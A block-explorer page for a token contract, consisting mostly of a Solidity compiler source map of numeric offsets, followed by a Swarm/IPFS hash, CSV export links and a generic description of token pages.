:22;;::::0;7436:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;7520:19;7530:8;7520:9;:19::i;:::-;7355:192:::0;:::o;8526:42::-;;;:::o;9872:352::-;9989:4;10031:1;10014:19;;:5;:19;;;;:44;;;;;10056:1;10037:21;;:7;:21;;;;10014:44;10006:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;10140:6;10110:11;:18;10122:5;10110:18;;;;;;;;;;;;;;;:27;10129:7;10110:27;;;;;;;;;;;;;;;:36;;;;10178:7;10162:32;;10171:5;10162:32;;;10187:6;10162:32;;;;;;:::i;:::-;;;;;;;;10212:4;10205:11;;9872:352;;;;;:::o;10700:1874::-;10826:26;10855:24;10873:4;10855:9;:24::i;:::-;10826:53;;10890:26;10931:18;;;;;;;;;;;:60;;;;;10974:17;;10953:18;:38;10931:60;:80;;;;;10996:15;;;;;;;;;;;10995:16;10931:80;:107;;;;;11023:15;11015:23;;:4;:23;;;;10931:107;10927:840;;;11073:4;11055:15;;:22;;;;;;;;;;;;;;;;;;11092:32;11105:18;11092:12;:32::i;:::-;11157:5;11139:15;;:23;;;;;;;;;;;;;;;;;;10927:840;;;11198:17;;11184:5;:11;11190:4;11184:11;;;;;;;;;;;;;;;;:31;:64;;;;;11231:17;;11219:5;:9;11225:2;11219:9;;;;;;;;;;;;;;;;:29;11184:64;11180:587;;;11286:6;11265:27;;11335:18;11307:9;:24;11325:4;11307:24;;;;;;;;;;;;;;;;:46;;;;;;;:::i;:::-;;;;;;;;11368:23;11380:6;11388:2;11368:11;:23::i;:::-;11406:7;;;;11180:587;11448:6;11434:21;;:2;:21;;;;:40;;;;;11473:1;11459:5;:11;11465:4;11459:11;;;;;;;;;;;;;;;;:15;11434:40;:70;;;;;11487:17;;11478:6;:26;11434:70;:95;;;;;11514:15;11508:21;;:2;:21;;;;11434:95;11430:337;;;11558:6;11546:5;:9;11552:2;11546:9;;;;;;;;;;;;;;;:18;;;;11579:7;;;;11430:337;11608:15;;;;;;;;;;;11607:16;:37;;;;;11643:1;11627:7;:13;11635:4;11627:13;;;;;;;;;;;;;;;;:17;11607:37;:64;;;;;11656:15;11648:23;;:4;:23;;;;11607:64;:84;;;;;11690:1;11675:5;:11;11681:4;11675:11;;;;;;;;;;;;;;;;:16;11607:84;11603:164;;;11738:17;;11724:5;:11;11730:4;11724:11;;;;;;;;;;;;;;;;:31;;;;:::i;:::-;11708:7;:13;11716:4;11708:13;;;;;;;;;;;;;;;:47;;;;11603:164;10927:840;11777:21;11801:4;:21;11806:15;11801:21;;;;;;;;;;;;;;;;;;;;;;;;;11777:45;;11863:1;11837:7;:22;11845:13;11837:22;;;;;;;;;;;;;;;;:27;11833:75;;11891:17;;11866:7;:22;11874:13;11866:22;;;;;;;;;;;;;;;:42;;;;11833:75;11943:2;11919:4;:21;11924:15;11919:21;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;11974:1;11960:11;;:15;:35;;;;;11994:1;11979:5;:11;11985:4;11979:11;;;;;;;;;;;;;;;;:16;11960:35;:55;;;;;12000:15;;;;;;;;;;;11999:16;11960:55;:73;;;;;12032:1;12019:5;:9;12025:2;12019:9;;;;;;;;;;;;;;;;:14;11960:73;11956:311;;;12096:3;12081:11;;12072:6;:20;;;;:::i;:::-;12071:28;;;;:::i;:::-;12050:49;;12124:18;12114:28;;;;;:::i;:::-;;;12176:18;12157:9;:15;12167:4;12157:15;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;12237:18;12209:9;:24;12227:4;12209:24;;;;;;;;;;;;;;;;:46;;;;;;;:::i;:::-;;;;;;;;11956:311;12296:6;12277:9;:15;12287:4;12277:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;12330:6;12313:9;:13;12323:2;12313:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;12367:2;12352:26;;12361:4;12352:26;;;12371:6;12352:26;;;;;;:::i;:::-;;;;;;;;12428:11;;;;;;;;;;;12423:144;;12476:7;:5;:7::i;:::-;12468:15;;:4;:15;;;12460:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;12423:144;10815:1759;;;10700:1874;;;;:::o;6602:98::-;6655:7;6682:10;6675:17;;6602:98;:::o;7553:173::-;7609:16;7628:6;;;;;;;;;;;7609:25;;7654:8;7645:6;;:17;;;;;;;;;;;;;;;;;;7709:8;7678:40;;7699:8;7678:40;;;;;;;;;;;;7598:128;7553:173;:::o;12918:312::-;12975:12;12999:1;12990:6;:10;;;;:::i;:::-;12975:25;;13011:19;13033:21;13011:43;;13065:32;13077:4;13091;13065:11;:32::i;:::-;13108:19;13154:11;13130:21;:35;;;;:::i;:::-;13108:57;;13176:46;13189:4;13195:11;13216:4;13176:12;:46::i;:::-;12964:266;;;12918:312;:::o;13348:361::-;13420:21;13458:1;13444:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13420:40;;13489:4;13471;13476:1;13471:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;13515:6;:11;;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13505:4;13510:1;13505:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;13539:52;13556:4;13571:6;13580:10;13539:8;:52::i;:::-;;13602:6;:57;;;13660:10;13672:1;13675:4;13681:2;13685:15;13602:99;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13409:300;13348:361;;:::o;12617:295::-;12745:52;12762:4;12777:6;12786:10;12745:8;:52::i;:::-;;12808:6;:22;;;12838:11;12859:4;12866:10;12878:1;12881;12884:2;12888:15;12808:96;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12617:295;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:116::-;4493:21;4508:5;4493:21;:::i;:::-;4486:5;4483:32;4473:60;;4529:1;4526;4519:12;4473:60;4423:116;:::o;4545:133::-;4588:5;4626:6;4613:20;4604:29;;4642:30;4666:5;4642:30;:::i;:::-;4545:133;;;;:::o;4684:323::-;4740:6;4789:2;4777:9;4768:7;4764:23;4760:32;4757:119;;;4795:79;;:::i;:::-;4757:119;4915:1;4940:50;4982:7;4973:6;4962:9;4958:22;4940:50;:::i;:::-;4930:60;;4886:114;4684:323;;;;:::o;5013:329::-;5072:6;5121:2;5109:9;5100:7;5096:23;5092:32;5089:119;;;5127:79;;:::i;:::-;5089:119;5247:1;5272:53;5317:7;5308:6;5297:9;5293:22;5272:53;:::i;:::-;5262:63;;5218:117;5013:329;;;;:::o;5348:118::-;5435:24;5453:5;5435:24;:::i;:::-;5430:3;5423:37;5348:118;;:::o;5472:222::-;5565:4;5603:2;5592:9;5588:18;5580:26;;5616:71;5684:1;5673:9;5669:17;5660:6;5616:71;:::i;:::-;5472:222;;;;:::o;5700:474::-;5768:6;5776;5825:2;5813:9;5804:7;5800:23;5796:32;5793:119;;;5831:79;;:::i;:::-;5793:119;5951:1;5976:53;6021:7;6012:6;6001:9;5997:22;5976:53;:::i;:::-;5966:63;;5922:117;6078:2;6104:53;6149:7;6140:6;6129:9;6125:22;6104:53;:::i;:::-;6094:63;;6049:118;5700:474;;;;;:::o;6180:60::-;6208:3;6229:5;6222:12;;6180:60;;;:::o;6246:142::-;6296:9;6329:53;6347:34;6356:24;6374:5;6356:24;:::i;:::-;6347:34;:::i;:::-;6329:53;:::i;:::-;6316:66;;6246:142;;;:::o;6394:126::-;6444:9;6477:37;6508:5;6477:37;:::i;:::-;6464:50;;6394:126;;;:::o;6526:152::-;6602:9;6635:37;6666:5;6635:37;:::i;:::-;6622:50;;6526:152;;;:::o;6684:183::-;6797:63;6854:5;6797:63;:::i;:::-;6792:3;6785:76;6684:183;;:::o;6873:274::-;6992:4;7030:2;7019:9;7015:18;7007:26;;7043:97;7137:1;7126:9;7122:17;7113:6;7043:97;:::i;:::-;6873:274;;;;:::o;7153:180::-;7201:77;7198:1;7191:88;7298:4;7295:1;7288:15;7322:4;7319:1;7312:15;7339:320;7383:6;7420:1;7414:4;7410:12;7400:22;;7467:1;7461:4;7457:12;7488:18;7478:81;;7544:4;7536:6;7532:17;7522:27;;7478:81;7606:2;7598:6;7595:14;7575:18;7572:38;7569:84;;7625:18;;:::i;:::-;7569:84;7390:269;7339:320;;;:::o;7665:180::-;7713:77;7710:1;7703:88;7810:4;7807:1;7800:15;7834:4;7831:1;7824:15;7851:194;7891:4;7911:20;7929:1;7911:20;:::i;:::-;7906:25;;7945:20;7963:1;7945:20;:::i;:::-;7940:25;;7989:1;7986;7982:9;7974:17;;8013:1;8007:4;8004:11;8001:37;;;8018:18;;:::i;:::-;8001:37;7851:194;;;;:::o;8051:182::-;8191:34;8187:1;8179:6;8175:14;8168:58;8051:182;:::o;8239:366::-;8381:3;8402:67;8466:2;8461:3;8402:67;:::i;:::-;8395:74;;8478:93;8567:3;8478:93;:::i;:::-;8596:2;8591:3;8587:12;8580:19;;8239:366;;;:::o;8611:419::-;8777:4;8815:2;8804:9;8800:18;8792:26;;8864:9;8858:4;8854:20;8850:1;8839:9;8835:17;8828:47;8892:131;9018:4;8892:131;:::i;:::-;8884:139;;8611:419;;;:::o;9036:225::-;9176:34;9172:1;9164:6;9160:14;9153:58;9245:8;9240:2;9232:6;9228:15;9221:33;9036:225;:::o;9267:366::-;9409:3;9430:67;9494:2;9489:3;9430:67;:::i;:::-;9423:74;;9506:93;9595:3;9506:93;:::i;:::-;9624:2;9619:3;9615:12;9608:19;;9267:366;;;:::o;9639:419::-;9805:4;9843:2;9832:9;9828:18;9820:26;;9892:9;9886:4;9882:20;9878:1;9867:9;9863:17;9856:47;9920:131;10046:4;9920:131;:::i;:::-;9912:139;;9639:419;;;:::o;10064:223::-;10204:34;10200:1;10192:6;10188:14;10181:58;10273:6;10268:2;10260:6;10256:15;10249:31;10064:223;:::o;10293:366::-;10435:3;10456:67;10520:2;10515:3;10456:67;:::i;:::-;10449:74;;10532:93;10621:3;10532:93;:::i;:::-;10650:2;10645:3;10641:12;10634:19;;10293:366;;;:::o;10665:419::-;10831:4;10869:2;10858:9;10854:18;10846:26;;10918:9;10912:4;10908:20;10904:1;10893:9;10889:17;10882:47;10946:131;11072:4;10946:131;:::i;:::-;10938:139;;10665:419;;;:::o;11090:191::-;11130:3;11149:20;11167:1;11149:20;:::i;:::-;11144:25;;11183:20;11201:1;11183:20;:::i;:::-;11178:25;;11226:1;11223;11219:9;11212:16;;11247:3;11244:1;11241:10;11238:36;;;11254:18;;:::i;:::-;11238:36;11090:191;;;;:::o;11287:410::-;11327:7;11350:20;11368:1;11350:20;:::i;:::-;11345:25;;11384:20;11402:1;11384:20;:::i;:::-;11379:25;;11439:1;11436;11432:9;11461:30;11479:11;11461:30;:::i;:::-;11450:41;;11640:1;11631:7;11627:15;11624:1;11621:22;11601:1;11594:9;11574:83;11551:139;;11670:18;;:::i;:::-;11551:139;11335:362;11287:410;;;;:::o;11703:180::-;11751:77;11748:1;11741:88;11848:4;11845:1;11838:15;11872:4;11869:1;11862:15;11889:185;11929:1;11946:20;11964:1;11946:20;:::i;:::-;11941:25;;11980:20;11998:1;11980:20;:::i;:::-;11975:25;;12019:1;12009:35;;12024:18;;:::i;:::-;12009:35;12066:1;12063;12059:9;12054:14;;11889:185;;;;:::o;12080:250::-;12220:34;12216:1;12208:6;12204:14;12197:58;12289:33;12284:2;12276:6;12272:15;12265:58;12080:250;:::o;12336:366::-;12478:3;12499:67;12563:2;12558:3;12499:67;:::i;:::-;12492:74;;12575:93;12664:3;12575:93;:::i;:::-;12693:2;12688:3;12684:12;12677:19;;12336:366;;;:::o;12708:419::-;12874:4;12912:2;12901:9;12897:18;12889:26;;12961:9;12955:4;12951:20;12947:1;12936:9;12932:17;12925:47;12989:131;13115:4;12989:131;:::i;:::-;12981:139;;12708:419;;;:::o;13133:180::-;13181:77;13178:1;13171:88;13278:4;13275:1;13268:15;13302:4;13299:1;13292:15;13319:180;13367:77;13364:1;13357:88;13464:4;13461:1;13454:15;13488:4;13485:1;13478:15;13505:143;13562:5;13593:6;13587:13;13578:22;;13609:33;13636:5;13609:33;:::i;:::-;13505:143;;;;:::o;13654:351::-;13724:6;13773:2;13761:9;13752:7;13748:23;13744:32;13741:119;;;13779:79;;:::i;:::-;13741:119;13899:1;13924:64;13980:7;13971:6;13960:9;13956:22;13924:64;:::i;:::-;13914:74;;13870:128;13654:351;;;;:::o;14011:85::-;14056:7;14085:5;14074:16;;14011:85;;;:::o;14102:158::-;14160:9;14193:61;14211:42;14220:32;14246:5;14220:32;:::i;:::-;14211:42;:::i;:::-;14193:61;:::i;:::-;14180:74;;14102:158;;;:::o;14266:147::-;14361:45;14400:5;14361:45;:::i;:::-;14356:3;14349:58;14266:147;;:::o;14419:114::-;14486:6;14520:5;14514:12;14504:22;;14419:114;;;:::o;14539:184::-;14638:11;14672:6;14667:3;14660:19;14712:4;14707:3;14703:14;14688:29;;14539:184;;;;:::o;14729:132::-;14796:4;14819:3;14811:11;;14849:4;14844:3;14840:14;14832:22;;14729:132;;;:::o;14867:108::-;14944:24;14962:5;14944:24;:::i;:::-;14939:3;14932:37;14867:108;;:::o;14981:179::-;15050:10;15071:46;15113:3;15105:6;15071:46;:::i;:::-;15149:4;15144:3;15140:14;15126:28;;14981:179;;;;:::o;15166:113::-;15236:4;15268;15263:3;15259:14;15251:22;;15166:113;;;:::o;15315:732::-;15434:3;15463:54;15511:5;15463:54;:::i;:::-;15533:86;15612:6;15607:3;15533:86;:::i;:::-;15526:93;;15643:56;15693:5;15643:56;:::i;:::-;15722:7;15753:1;15738:284;15763:6;15760:1;15757:13;15738:284;;;15839:6;15833:13;15866:63;15925:3;15910:13;15866:63;:::i;:::-;15859:70;;15952:60;16005:6;15952:60;:::i;:::-;15942:70;;15798:224;15785:1;15782;15778:9;15773:14;;15738:284;;;15742:14;16038:3;16031:10;;15439:608;;;15315:732;;;;:::o;16053:831::-;16316:4;16354:3;16343:9;16339:19;16331:27;;16368:71;16436:1;16425:9;16421:17;16412:6;16368:71;:::i;:::-;16449:80;16525:2;16514:9;16510:18;16501:6;16449:80;:::i;:::-;16576:9;16570:4;16566:20;16561:2;16550:9;16546:18;16539:48;16604:108;16707:4;16698:6;16604:108;:::i;:::-;16596:116;;16722:72;16790:2;16779:9;16775:18;16766:6;16722:72;:::i;:::-;16804:73;16872:3;16861:9;16857:19;16848:6;16804:73;:::i;:::-;16053:831;;;;;;;;:::o;16890:807::-;17139:4;17177:3;17166:9;17162:19;17154:27;;17191:71;17259:1;17248:9;17244:17;17235:6;17191:71;:::i;:::-;17272:72;17340:2;17329:9;17325:18;17316:6;17272:72;:::i;:::-;17354:80;17430:2;17419:9;17415:18;17406:6;17354:80;:::i;:::-;17444;17520:2;17509:9;17505:18;17496:6;17444:80;:::i;:::-;17534:73;17602:3;17591:9;17587:19;17578:6;17534:73;:::i;:::-;17617;17685:3;17674:9;17670:19;17661:6;17617:73;:::i;:::-;16890:807;;;;;;;;;:::o;17703:143::-;17760:5;17791:6;17785:13;17776:22;;17807:33;17834:5;17807:33;:::i;:::-;17703:143;;;;:::o;17852:663::-;17940:6;17948;17956;18005:2;17993:9;17984:7;17980:23;17976:32;17973:119;;;18011:79;;:::i;:::-;17973:119;18131:1;18156:64;18212:7;18203:6;18192:9;18188:22;18156:64;:::i;:::-;18146:74;;18102:128;18269:2;18295:64;18351:7;18342:6;18331:9;18327:22;18295:64;:::i;:::-;18285:74;;18240:129;18408:2;18434:64;18490:7;18481:6;18470:9;18466:22;18434:64;:::i;:::-;18424:74;;18379:129;17852:663;;;;;:::o

Swarm Source

ipfs://f921801b65be4462fffaf70167cf798bc488ef554550b649df1f1328d0dc5bb5
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.